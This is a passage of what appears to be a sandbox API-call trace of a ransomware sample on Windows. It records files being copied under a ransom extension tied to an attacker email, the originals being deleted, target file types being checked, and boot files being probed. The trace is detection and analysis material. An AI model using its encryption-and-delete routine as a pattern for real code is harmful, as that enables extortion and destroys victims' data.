(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0145.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0146.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0146.011] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.011] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0146.012] GetLastError () returned 0x0 [0146.012] ReadFile (in: hFile=0x3b0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0146.050] WriteFile (in: hFile=0x338, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0146.051] ReadFile (in: hFile=0x3b0, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.051] WriteFile (in: hFile=0x338, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x11e, lpOverlapped=0x0) returned 1 [0146.052] SetEndOfFile (hFile=0x338) returned 1 [0146.052] CloseHandle (hObject=0x338) returned 1 [0146.052] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.052] SetEndOfFile (hFile=0x3b0) returned 1 [0146.054] CloseHandle (hObject=0x3b0) returned 1 [0146.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0146.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0146.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.055] lstrlenW (lpString=".doc") returned 4 [0146.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.055] lstrlenW (lpString=".docx") returned 5 [0146.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.055] lstrlenW (lpString=".pdf") returned 4 [0146.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.055] lstrlenW (lpString=".xls") returned 4 [0146.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.055] lstrlenW (lpString=".xlsx") returned 5 [0146.055] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.055] lstrlenW (lpString=".ppt") returned 4 [0146.055] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.055] lstrlenW (lpString=".zip") returned 4 [0146.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".rar") returned 4 [0146.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".bz2") returned 4 [0146.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".7z") returned 3 [0146.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.056] lstrlenW (lpString=".dbf") returned 4 [0146.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.056] lstrlenW (lpString=".1cd") returned 4 [0146.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.056] lstrlenW (lpString=".jpg") returned 4 [0146.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.056] lstrlenW (lpString=".doc") returned 4 [0146.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".docx") returned 5 [0146.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.056] lstrlenW (lpString=".pdf") returned 4 [0146.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".xls") returned 4 [0146.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString=".xlsx") returned 5 [0146.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.056] lstrlenW (lpString=".ppt") returned 4 [0146.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.057] lstrlenW (lpString=".zip") returned 4 [0146.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString=".rar") returned 4 [0146.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString=".bz2") returned 4 [0146.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString=".7z") returned 3 [0146.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.057] lstrlenW (lpString=".dbf") returned 4 [0146.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.057] lstrlenW (lpString=".1cd") returned 4 [0146.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0146.057] lstrlenW (lpString=".jpg") returned 4 [0146.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.057] lstrlenW (lpString=".id-") returned 4 [0146.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574f50 | out: hHeap=0x510000) returned 1 [0146.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd8e0 | out: hHeap=0x510000) returned 1 [0146.057] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e20e40 | out: hHeap=0x510000) returned 1 [0146.058] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e30e48 | out: hHeap=0x510000) returned 1 [0146.058] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x42bd020 | out: hHeap=0x510000) returned 1 [0146.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5750d0 | out: hHeap=0x510000) returned 1 [0146.062] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4640 [0146.062] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4640, Size=0x20) returned 0x443dfe0 [0146.062] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4790 [0146.062] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4790, Size=0x20) returned 0x443dec8 [0146.062] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.062] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.062] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x1) returned 1 [0146.062] lstrlenW (lpString="kernel32.dll") returned 12 [0146.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dec8 | out: hHeap=0x510000) returned 1 [0146.063] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.063] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dfe0 | out: hHeap=0x510000) returned 1 Thread: id = 49 os_tid = 0xe38 [0126.412] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3e45528 [0126.412] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x43c0048 [0126.413] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5751d8 [0126.413] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd970 [0126.413] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574f68 [0126.413] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x45c2020 [0126.416] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575130 [0126.416] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x575130, Size=0x20) returned 0x54e920 [0126.416] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574fe0 [0126.416] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574fe0, Size=0x20) returned 0x54ebc8 [0126.416] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.416] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.416] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x0) returned 1 [0126.416] lstrlenW (lpString="kernel32.dll") returned 12 [0126.416] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.416] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.416] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ebc8 | out: hHeap=0x510000) returned 1 [0126.416] Sleep (dwMilliseconds=0x64) [0126.784] lstrcmpiW (lpString1=".MARKER", lpString2=".btix") returned 1 [0126.784] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0126.784] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0126.787] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=0) returned 1 [0126.787] CloseHandle (hObject=0x328) returned 1 [0126.787] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.787] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.787] lstrlenW (lpString=".doc") returned 4 [0126.787] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".docx") returned 5 [0126.787] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0126.787] lstrlenW (lpString=".pdf") returned 4 [0126.787] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".xls") returned 4 [0126.787] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".xlsx") returned 5 [0126.787] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0126.787] lstrlenW (lpString=".ppt") returned 4 [0126.787] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.787] lstrlenW (lpString=".zip") returned 4 [0126.787] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".rar") returned 4 [0126.787] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".bz2") returned 4 [0126.787] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString=".7z") returned 3 [0126.787] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0126.787] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.787] lstrlenW (lpString=".dbf") returned 4 [0126.787] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0126.787] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.787] lstrlenW (lpString=".1cd") returned 4 [0126.788] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".jpg") returned 4 [0126.788] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".doc") returned 4 [0126.788] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".docx") returned 5 [0126.788] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0126.788] lstrlenW (lpString=".pdf") returned 4 [0126.788] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".xls") returned 4 [0126.788] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".xlsx") returned 5 [0126.788] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0126.788] lstrlenW (lpString=".ppt") returned 4 [0126.788] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".zip") returned 4 [0126.788] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".rar") returned 4 [0126.788] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".bz2") returned 4 [0126.788] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString=".7z") returned 3 [0126.788] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".dbf") returned 4 [0126.788] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".1cd") returned 4 [0126.788] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0126.788] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0126.788] lstrlenW (lpString=".jpg") returned 4 [0126.788] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0126.789] Sleep (dwMilliseconds=0x64) [0127.132] Sleep (dwMilliseconds=0x64) [0127.330] lstrlenW (lpString="BCD") returned 3 [0127.330] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.330] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.330] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.330] lstrlenW (lpString=".doc") returned 4 [0127.330] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".docx") returned 5 [0127.330] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0127.330] lstrlenW (lpString=".pdf") returned 4 [0127.330] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".xls") returned 4 [0127.330] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".xlsx") returned 5 [0127.330] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0127.330] lstrlenW (lpString=".ppt") returned 4 [0127.330] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.330] lstrlenW (lpString=".zip") returned 4 [0127.330] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".rar") returned 4 [0127.330] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".bz2") returned 4 [0127.330] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0127.330] lstrlenW (lpString=".7z") returned 3 [0127.330] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".dbf") returned 4 [0127.331] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".1cd") returned 4 [0127.331] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".jpg") returned 4 [0127.331] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".doc") returned 4 [0127.331] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".docx") returned 5 [0127.331] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0127.331] lstrlenW (lpString=".pdf") returned 4 [0127.331] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".xls") returned 4 [0127.331] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".xlsx") returned 5 [0127.331] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0127.331] lstrlenW (lpString=".ppt") returned 4 [0127.331] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".zip") returned 4 [0127.331] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".rar") returned 4 [0127.331] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".bz2") returned 4 [0127.331] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString=".7z") returned 3 [0127.331] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".dbf") returned 4 [0127.331] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0127.331] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.331] lstrlenW (lpString=".1cd") returned 4 [0127.332] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0127.332] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.332] lstrlenW (lpString=".jpg") returned 4 [0127.332] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0127.332] lstrcmpiW (lpString1=".LOG1", lpString2=".btix") returned 1 [0127.332] lstrlenW (lpString="BCD.LOG1") returned 8 [0127.332] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.332] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=0) returned 1 [0127.332] CloseHandle (hObject=0x384) returned 1 [0127.332] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.332] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.332] lstrlenW (lpString=".doc") returned 4 [0127.332] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0127.332] lstrlenW (lpString=".docx") returned 5 [0127.332] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0127.332] lstrlenW (lpString=".pdf") returned 4 [0127.332] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0127.332] lstrlenW (lpString=".xls") returned 4 [0127.332] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0127.332] lstrlenW (lpString=".xlsx") returned 5 [0127.332] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0127.332] lstrlenW (lpString=".ppt") returned 4 [0127.332] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".zip") returned 4 [0127.333] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".rar") returned 4 [0127.333] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".bz2") returned 4 [0127.333] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".7z") returned 3 [0127.333] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".dbf") returned 4 [0127.333] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".1cd") returned 4 [0127.333] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".jpg") returned 4 [0127.333] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".doc") returned 4 [0127.333] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".docx") returned 5 [0127.333] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0127.333] lstrlenW (lpString=".pdf") returned 4 [0127.333] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".xls") returned 4 [0127.333] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".xlsx") returned 5 [0127.333] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0127.333] lstrlenW (lpString=".ppt") returned 4 [0127.333] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.333] lstrlenW (lpString=".zip") returned 4 [0127.333] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0127.333] lstrlenW (lpString=".rar") returned 4 [0127.333] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0127.334] lstrlenW (lpString=".bz2") returned 4 [0127.334] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0127.334] lstrlenW (lpString=".7z") returned 3 [0127.334] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0127.334] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.334] lstrlenW (lpString=".dbf") returned 4 [0127.334] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0127.334] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.334] lstrlenW (lpString=".1cd") returned 4 [0127.334] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0127.334] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.334] lstrlenW (lpString=".jpg") returned 4 [0127.334] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0127.334] lstrcmpiW (lpString1=".LOG2", lpString2=".btix") returned 1 [0127.334] lstrlenW (lpString="BCD.LOG2") returned 8 [0127.334] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.335] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=0) returned 1 [0127.335] CloseHandle (hObject=0x384) returned 1 [0127.335] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.335] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0127.335] lstrlenW (lpString=".doc") returned 4 [0127.335] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".docx") returned 5 [0127.335] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0127.335] lstrlenW (lpString=".pdf") returned 4 [0127.335] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".xls") returned 4 [0127.335] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0127.335] lstrlenW (lpString=".xlsx") returned 5 